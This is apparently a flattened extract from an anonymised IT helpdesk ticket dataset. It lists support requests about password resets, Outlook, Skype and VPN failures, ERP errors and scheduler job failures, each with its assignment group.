job Job\_3052 failed in job\_scheduler at: 09/15/2016 22:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to submit reports in engineering tool., Description: unable to submit reports in engineering tool. please refer to the screenshots., is assigned to Assignment group: GRP\_25.Ticket with Short description: outlook has stopped working , Description: \_x000D\_
\_x000D\_
received from: gzqijaoc.rfywvloa@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i need your help aerp\_x000D\_
outlook has stopped working in pc.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cant open photos from iphone , Description: \_x000D\_
\_x000D\_
received from: eylqgodm.ybqkwiam@gmail.com\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35008.716912e0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_39hotf failed in job\_scheduler at: 09/15/2016 20:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39hotf failed in job\_scheduler at: 09/15/2016 20:07:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: dell 7350: skype audio not working, Description: dell 7350: skype audio not working.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-updated the bios on the user system.\_x000D\_
-restarted the system.\_x000D\_
-skype audio is now working (uacyltoe hxgaycze call with user\_x000D\_
-will call the user back tomorrow and check on the issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bk\_hana\_SID\_62\_arc\_dp failed in job\_scheduler at: 09/15/2016 19:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_arc\_dp failed in job\_scheduler at: 09/15/2016 19:28:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: login issue, Description: \_x000D\_
login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to login to the pc., Description: user unable to login to the pc.\_x000D\_
-checked ad and infotrmed user account is not locked.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: distributor\_tool login issue, Description: distributor\_tool login issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: what is the collaboration\_platform link?, Description: name:grtaoivq dwjvfkqe
language:
browser:microsoft internet explorer
email:grtaoivq.dwjvfkqe@gmail.com
customer number:
telephone:
summary:what is the collaboration\_platform link?, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: create express stock transiit for mm 7234728 order 35023051 cnc art , Description: hi it, \_x000D\_
can you please help check why, i don't see any error on our side. , is assigned to Assignment group: GRP\_18.Ticket with Short description: user is trying to install the software on a customer pc., Description: user is trying to install the software on a customer pc.
-connected to the user system using teamviewer.
-user able to login to the distributor\_tool and go to engineering\_tool tab to install the software.
-unable to install the software on the user system.
-customer email id: smitctdrhell@ims.supply
-c#:, is assigned to Assignment group: GRP\_25.Ticket with Short description: password reset , Description: password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: jvshydix rzpmnylt : general query , Description: jvshydix rzpmnylt : general query , is assigned to Assignment group: GRP\_0.Ticket with Short description: mm02: when grade changed on material, engineering tool is not validated if 'save/delete' is selected, Description: when mm02 is used to change the grade on a rqfhiong zkwfqagb logic executes that verifies if the engineering tool is valid for the new grade. this is working correctly if 'save' is selected on the catalog id/ grade screen. if 'save/delete' is selected the logic is not working and invalid engineering tool values are being left on rqfhiong zkwfqagbs. \_x000D\_
\_x000D\_
this is affecting all users not just one. logic needs corrected for 'save/ delete', is assigned to Assignment group: GRP\_20.Ticket with Short description: password reset alert from o365, Description: password reset alert from o365, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wanted to speak to some one in usa and asked for jashyht contact # , Description: user wanted to speak to some one in usa and asked for jashyht contact # , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to skype, Description: unable to log in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: sto for notion order //mm 3493130, Description: sto for notion order //mm 3493130, is assigned to Assignment group: GRP\_29.Ticket with Short description: ticket update on inplant\_860558, Description: ticket update on inplant\_860558, is assigned to Assignment group: GRP\_0.Ticket with Short description: cant connect to erp : vpn issue , Description: cant connect to erp : vpn issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: i am getting this error when trying to open a hana file. can you help?, Description: erp excel add in issue., is assigned to Assignment group: GRP\_9.Ticket with Short description: the terminate action for mdulwthb sldowapb has completed., Description: the terminate action for mdulwthb sldowapb has completed., is assigned to Assignment group: GRP\_2.Ticket with Short description: erp log in issue, Description: erp log in issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa plant power outage saturday 9/17/16 6:30am - 2:00pm, Description: \_x000D\_
\_x000D\_
received from: ekjobdiz.ktelzwvg@gmail.com\_x000D\_
\_x000D\_
everyone,\_x000D\_
the power will be off to the whole usa manufacturing plant on saturday, 9/17/16 from 6:30am until 2:00pm. the generator should keep the computer room running. switches located in remote network closets will drop and turn back on when the power resumes.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: called to unlock ad account for user qcxivzag vyucbagx, Description: called to unlock ad account for user qcxivzag vyucbagx, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 7350: system very slow.mscrm slow., Description: dell 7350: system very slow.
-connected to the user system using teamviewer.
-cleared the cache, cookies, temp files.
-updated the symantec on the user.
-updated the system bios.
-restarted the pc.
-advised the user to try again and check.
--user launched mscrm and its was working fine.
-issue resolved.
-c:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit expense report, Description: unable to submit expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: change skirtylset percentages , Description: change skirtylset percentages effective 9/19/2016. see list attached , is assigned to Assignment group: GRP\_7.Ticket with Short description: printer setrup, Description: id01 printer setup, is assigned to Assignment group: GRP\_19.Ticket with Short description: printer driver update, Description: printer driver update, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not getting connected., Description: outlook not getting connected., is assigned to Assignment group: GRP\_0.Ticket with Short description: audio not working : driver issue , Description: audio not working : driver issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows accout lockout, Description: windows accout lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: incorrect vendor in po extract, Description: can you please do me a favor and check the po extract file for po 5616741012 and check which vendor has been assigned.\_x000D\_
\_x000D\_
this is because the po is assigned to vendor 2111220700 in erp, but rr shows vendor 2111100659. see attachment for screen prints.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: reisekosten error, Description: reisekosten error, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage :south amerirtca site is hard down at 11:50 am et on 09/15. no backup circuit at the site., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_slo\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_11:50 am et on 09/15\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: ethics issue., Description: \_x000D\_
\_x000D\_
received from: fmzdkyqv.dbrslnhe@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i still cannot access the beec module, see message below â€“ please correct â€“ , is assigned to Assignment group: GRP\_23.Ticket with Short description: not able to apply job in company portal in : external user , Description: not able to apply job in company portal in : external user , is assigned to Assignment group: GRP\_0.Ticket with Short description: working from home, connection to vpn gets disconnected, Description: i continue to get disconnected from vpn and have to reconnect multiple times a day, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password user zigioachstyac- SID\_1, Description: reset password user zigioachstyac- SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: procenter login credential for new joiners, Description: please create procenter login credential for below new joiners.
name:vijghyduhprga yeghrrajghodu
user id:yerrav
---------------------------------------------------
name:ulezhxfw kslocjtaaruthapandian
user id:karhjuyutk
, is assigned to Assignment group: GRP\_37.Ticket with Short description: how to add members to distribution groups, Description: how to add members to distribution groups, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype issues, Description: \_x000D\_
\_x000D\_
received from: wauhocsk.vxuikqaf@gmail.com\_x000D\_
\_x000D\_
hallo my friends\_x000D\_
\_x000D\_
i have changed password today. there was no "problem" message coming out after the password change. everything was gtehdnyu and saying ok â€“ password successfully changed\_x000D\_
\_x000D\_
now from some reasons i am not able to log in to skype for business. it is showing me following\_x000D\_
\_x000D\_
please let me know what should i do\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: call from vitalyst : error : no sections to display. note that section in a group aren't supported. one note issue , Description: error : no sections to display. note that section in a group aren't supported., is assigned to Assignment group: GRP\_22.Ticket with Short description: re: ticket\_no1551649: change ansi and iso no., Description: \_x000D\_
\_x000D\_
received from: stdiondwd.rawdwu@company.com\_x000D\_
\_x000D\_
closed the ticket!\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: ticket update on ticket\_no0439844, Description: spam mails coming in to the inbox, is assigned to Assignment group: GRP\_0.Ticket with Short description: aw: ticket\_no1551649: change ansi and iso no., Description:
received from: cbupnjzo.daflthkw@gmail.com
hello sudghhahjkkar,
would you please close this ticket.
at this moment i tried to change the ansi and iso no. and it worked very well.
please excuse the inconvenience and , is assigned to Assignment group: GRP\_2.Ticket with Short description: change in ethics, Description: \_x000D\_
\_x000D\_
received from: lhejbwkc.xbmyvnqf@gmail.com\_x000D\_
\_x000D\_
dear all\_x000D\_
\_x000D\_
had a change from company to company e-mail seems that this is now creating problems with our ethnics site:\_x000D\_
\_x000D\_
welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp.\_x000D\_
\_x000D\_
please make sure that i can access again.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook not launching, Description: outlook not launching, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to submit the time card, Description: hi team,\_x000D\_
\_x000D\_
i am unable to submit the time card(attached is the screenshot). can you please help. , is assigned to Assignment group: GRP\_36.Ticket with Short description: outlook not updating, Description: \_x000D\_
\_x000D\_
received from: ivdntecr.cdasfpjb@gmail.com\_x000D\_
\_x000D\_
please see below error. my outlook is not updating and it is saying my password is wrong or won't connect to server. when i open the outlook programdnty i am asked to enter my credentials, but after doing so the server will not connect. i am currently using the web-based version of outlook on internet explorer.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:0abb054c-e7fe-4304-aeea-287a1733a874]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: rrc email boxes, Description:
received from: iauqlrjk.nijdaukz@gmail.com
good morning,
i need to be added to a couple email boxes so i have access, can you please assist?
estfhycoastrrc@company.com<mailto:estfhycoastrrc@company.com>
estfhycoastrrc@company.com<mailto:estfhycoastrrc@company.com>
also muywpnof prtikusy is requesting to be the owner of these email addresses so he can add people to them when needed, is this possible?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn query , Description: vpn query , is assigned to Assignment group: GRP\_34.Ticket with Short description: network outage : israel, israel ( sales facility) is down on 09/13 at 8:23 am et. , Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_09/13 at 8:23 am et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_no (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to log in to windows , Description: unable to log in to windows , is assigned to Assignment group: GRP\_0.Ticket with Short description: connect or share collaboration\_platform from pc to collaboration\_platform through company hub, Description: hello it personnel,\_x000D\_
\_x000D\_
i have used collaboration\_platform 2013 saved to the local computer drive. i would like to connect my local collaboration\_platform to the collaboration\_platform accessed through the office software on collaboration\_platform (company's hub). how do i connect the two locations?\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_16.Ticket with Short description: account locked out., Description: account locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: wichtig: bitte netzwerke synchronisieren !!, Description:
received from: nhsogrwy.qkxhbnvp@gmail.com
hallo herr dwfiykeo argtxmvcumar,
hallo it help team,
kÃ¶nnen sie bitte diese beiden netzwerke synchronisieren => sie mÃ¼ssen identisch sein!!!
aktuell stimmen die daten nicht Ã¼berein.
[cid:image001.png@01d20f62.ebe809f0]
vorab vielen dank!
mit freundlichen grÃ¼ÃŸen
mafghyrina gÃ¼ntner
specialist hr shared services
nhsogrwy.qkxhbnvp@gmail.com<mailto:lixwgnto.krutnylz@gmail.com>
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_12.Ticket with Short description: reset the password for tfsehruw dzrgpkyn on erp / produktion / erp, Description: reset the password for tfsehruw dzrgpkyn on erp / produktion / erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: call for ecwtrjnq jpecxuty, Description: call for ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface: gigabitethernet1/0/47 Â· mtb gf wirelss ap on company-ap-ind-kirty-pu9-ff-2960s-stack-sw01.company.com is down , Description: interface: gigabitethernet1/0/47 Â· mtb gf wirelss ap on company-ap-ind-kirty-pu9-ff-2960s-stack-sw01.company.com is down , is assigned to Assignment group: GRP\_4.Ticket with Short description: skype - poor quality, Description:
received from: azxhejvq.fyemlavd@gmail.com
please open a ticket for me. i have been on a few skype calls recently where the quality was very poor. these calls were multinational with india or apac with participants in the us. the audio quality was so poor that we could not understand each other to the point that the meeting was almost a waste of time. also, the ability to broadcast powerpoint or erp screen images was bas as well were some of the participants of the meeting could not see the content again making the meetings a waste of our time.
mikhghytr wafglhdrhjop
sr. manager, global ethics and compliance programdntys
, is assigned to Assignment group: GRP\_26.Ticket with Short description: cannot log onto telephony\_software, Description: cannot log onto telephony\_software
error message : authentication process failed
telephone: , is assigned to Assignment group: GRP\_7.Ticket with Short description: laptop needs to be formatheywted, Description: from: sagfhosh karhtyiio
sent: thursday, september 15, 2016 6:00 am
to: hgwofcbx tnowikyv; gmrkisxy wgtcylir
cc: sridthshar herytur; ufpzergq zchjbfdehivashankaraiah
subject: re: it asset
hi ghkkytu,
as discussed please format the laptop this needs to be given to the new joiner vijuryat dgurhtya.
i have assigned inc1551683 to your team for the same.
, is assigned to Assignment group: GRP\_19.Ticket with Short description: cannot connect to outlook or connect to exchange for skype, also have issue with com add in for excel, Description: repeat of same issue that i have had in the past. not able to connect to outlook. also, com add in is not staying available on excel file, i have to reselect it each time i open the file., is assigned to Assignment group: GRP\_0.Ticket with Short description: @5c\qerror@ 35019921rder# 35019921, material 7393495 , Description: @5c\qerror@ 3501992sartlgeo lhqksbdx0 "create delivery" not allowed (sys. status exls, object vb0035019921000010) @35\qlong text exists@ need to create a delivery\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: can't log onto skype. changed password yesterday, won't recognize today, Description: can't log onto skype. changed password yesterday, won't recognize today, is assigned to Assignment group: GRP\_0.Ticket with Short description: no folder access, Description: \_x000D\_
\_x000D\_
received from: nhsogrwy.qkxhbnvp@gmail.com\_x000D\_
\_x000D\_
team,\_x000D\_
[cid:image001.png@01d20f3c.cb611f80] is not working.\_x000D\_
\_x000D\_
please usa access for me.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_34.Ticket with Short description: printer problem / issue information - reroute rn33 back., Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) \_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? reroute rn33 back erp / has been fixed.\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls)\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_5.Ticket with Short description: instalar docad eletronico, Description: user: olghiveii\_x000D\_
\_x000D\_
segue link\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_62.Ticket with Short description: it - speker for skype conferences, Description: it - germany:\_x000D\_
\_x000D\_
skype speakers are required for confernece room 1 an the conference room behind the cantine.\_x000D\_
therefore michghytuael hÃ¤cker confirmed to purchase the new two speakers.\_x000D\_
xvwchsdg pladjmxt suggested to go with one bigger speaker instead.\_x000D\_
please check the prices to allow michghytuael to compare both possibilities.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: user safghghga needs to reset her password, Description: hello! could you pls help me and create a new password for user id: safghghga (gabryltka sabhtyhiko)?
she blocked her computer and now she needs to access aerp.
please, contact me when you have done it.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: problem with crm leads, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
when i received a lead i tried to convert it into an opportstorage\_product by qualifying it. when i did that i got an error. see below. please advise.
[cid:image001.jpg@01d20f1e.cd84e580]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_15.Ticket with Short description: company iphone device activation, Description: company iphone device activation, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2: unable to get on the network, Description: vip2: unable to get on the network, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer rj0c on printer server HostName\_1033 is not right for x64, Description: printer adds to pc fine but when trying to print continuously prints characters and symbols and that's it. when used on a x86 pc from server HostName\_769 it prints fine.\_x000D\_
printer is a laserjet 5si mx\_x000D\_
\_x000D\_
tim komar looked at this, is assigned to Assignment group: GRP\_12.Ticket with Short description: can not get erp to issue deliveries for 4 sto's - truck scheduled to pick up at 10:00am today, Description: stock is available in erp but apparently not apo. please help to issue deliveries for 5019229515, 5019229528, 5019229548 & 5019229566 to return scrap powder to powder plants., is assigned to Assignment group: GRP\_6.Ticket with Short description: the fitness center digital signage pc will not connect to the network to get updates., Description: the fitness center digital signage pc will not connect to the network to get updates., is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to logon to erp, Description: unable to logon to erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 09/15/2016 07:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 09/15/2016 07:40:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: reset password user zigioachstyac - SID\_34 /SID\_37, Description: reset password user zigioachstyac - SID\_34/SID\_37, is assigned to Assignment group: GRP\_0.Ticket with Short description: wg: zeichnung 5685567645, Description:
received from: dnwfhpyl.zqbldipk@gmail.com
von: vgsqetbx wpkcbtjl
gesendet: donnerstag, 15. september 2016 10:41
an: dnwfhpyl zqbldipk <dnwfhpyl.zqbldipk@gmail.com>
betreff: zeichnung 5685567645
hallo,
ich habe wieder eine zeichnung 5685645 mit falsch aufgedruckter zeichnungsnummer bitte richtigstellen
mit freundlichen grÃ¼ÃŸen
vgsqetbx wpkcbtjl
production planner
company produktions gmbh & co. kg
vgsqetbx.wpkcbtjl@gmail.com<mailto:vgsqetbx.wpkcbtjl@gmail.com>
geschÃ¤ftsfÃ¼hrer: dr. jofghyuach fabry, harald mÃ¤nnlein, rtnzvplq erhmuncq
von: dnwfhpyl zqbldipk
gesendet: dienstag, 16. april 2013 09:50
an: tfhzidnq wqpfdobe
cc: vgsqetbx wpkcbtjl; ksvqzmre yqnajdwh
betreff: aw: erp-plm: drawing with different drawing number
hallo heighjtyich,
ich bitte um entschuldigung wegen der falschen gdw drawing #. ein paar zeichnungen wurden 10 monate vor dem plm go-live versehentlich ein zweites mal umbenannt, nachdem sie schon konvertiert waren. die richtige plm nummer ist immer die rechts oben im druckstempel.
auch das viele eurer gescannten zeichnungen nictafvwlpz opfigqramdntyatisch nach pdf konvertiert werden konnten tut mir leid. es wurden > 2.600.000 zeichnungen konvertiert und etwa 4000 davon machten probleme. ein paar hundert davon scheinen von euch zu sein. wir reparieren diese wie bisher bei bedarf.
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_11.Ticket with Short description: not able to access email, Description: not able to access email.\_x000D\_
\_x000D\_
itclukpe aimcfeko is his manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_47arc2 failed in job\_scheduler at: 09/15/2016 06:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_47arc2 failed in job\_scheduler at: 09/15/2016 06:35:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_48arc1 failed in job\_scheduler at: 09/15/2016 06:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_48arc1 failed in job\_scheduler at: 09/15/2016 06:28:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_48arc2 failed in job\_scheduler at: 09/15/2016 06:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_48arc2 failed in job\_scheduler at: 09/15/2016 06:21:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_35arc2 failed in job\_scheduler at: 09/15/2016 06:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_35arc2 failed in job\_scheduler at: 09/15/2016 06:21:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: vpn doesnt check for antivirus or company domain while connecting from outside network, Description: refer screenshot, is assigned to Assignment group: GRP\_2.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 09/15/2016 06:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 09/15/2016 06:14:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: system disk c: of server HostName\_698 is full again, Description: \_x000D\_
\_x000D\_
received from: fbyusmxz.kxvmcbly@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
system disk c: of server HostName\_698 is full again â€“ please check.\_x000D\_
we had the same issue 3 weeks ago (ticket inc1543749)\_x000D\_
it is the virtual center server.\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: reporting\_tool: issues with daily sales and orders report., Description:
received from: plfwoagd.chtpiazu@gmail.com
no reply from panjkytr.
please create a case.
what we need is a possibility to subscribe to a dedicated daily sales and orders report and to receive the mti data per email instead of the total industrial results (consisting of the combined results of tooling and mti).
mit freundlichen grugermany / best , is assigned to Assignment group: GRP\_9.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: mr tmqfjard qzhgdoua, ordinary no. 100937, requires full access to the following EU\_tool- modules:, Description: fyi
von: axesnghb cyzuomxa
gesendet: donnerstag, 15. september 2016 10:19
an: ughzilfm cfibdamq
cc: tmqfjard qzhgdoua
betreff: tmqfjard qzhgdoua : berechtigung fÃ¼r EU\_tool- module
hallo herr bghakch,
herr tmqfjard qzhgdoua, stamm- nr. 100937, benÃ¶tigt vollen zugriff auf folgende EU\_tool- module :
chargenverwaltung
pulverleitstand
mit freundlichen grÃ¼ÃŸen
preuÃŸ
supervisor rod production germany
axesnghb.cyzuomxa@gmail.com
geschÃ¤ftsfÃ¼hrer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq
sitz/registered office: germany
persÃ¶nlich haftende gesellschafterin/general partner: company gmbh
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, is assigned to Assignment group: GRP\_59.Ticket with Short description: application response time (other network resources work normally), Description: while trying to ship product to usa, i am not getting a put-away ticket. the system is taking an estorage\_productly long time to process the transaction, and i am getting an error stating that the update was terminated.
site / location : company usa, ohio
user id (ad) : lilesfhpk
system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj): erp SID\_34
transactions that are slow (e.g., va01, create an order): md04
area this belongs to (e.g., sales, finance, markhtyeting etc.): production
how can this issue be replicated by the it support group:
are other users seeing this? not sure
please attach relevant screenshots and exact times when the issue occurred:
, is assigned to Assignment group: GRP\_18.Ticket with Short description: request for mobile email access, Description: \_x000D\_
\_x000D\_
received from: luxdnsvk.qmnyzcfs@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
attached is the filled wireless mobility policy sheet with my manager approval.\_x000D\_
kindly enable email access to my mobile.\_x000D\_
kindly contact me for any information required in this regard.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/15/2016 03:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/15/2016 03:30:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: nan, Description: \_x000D\_
\_x000D\_
received from: eqmuniov.ehxkcbgj@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
when trying to log on to erp i get this error below.\_x000D\_
please help urgently as i can not process customer order.\_x000D\_
\_x000D\_
[cid:image001.png@01d20f2e.751db880]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: computer gets hot, Description: \_x000D\_
\_x000D\_
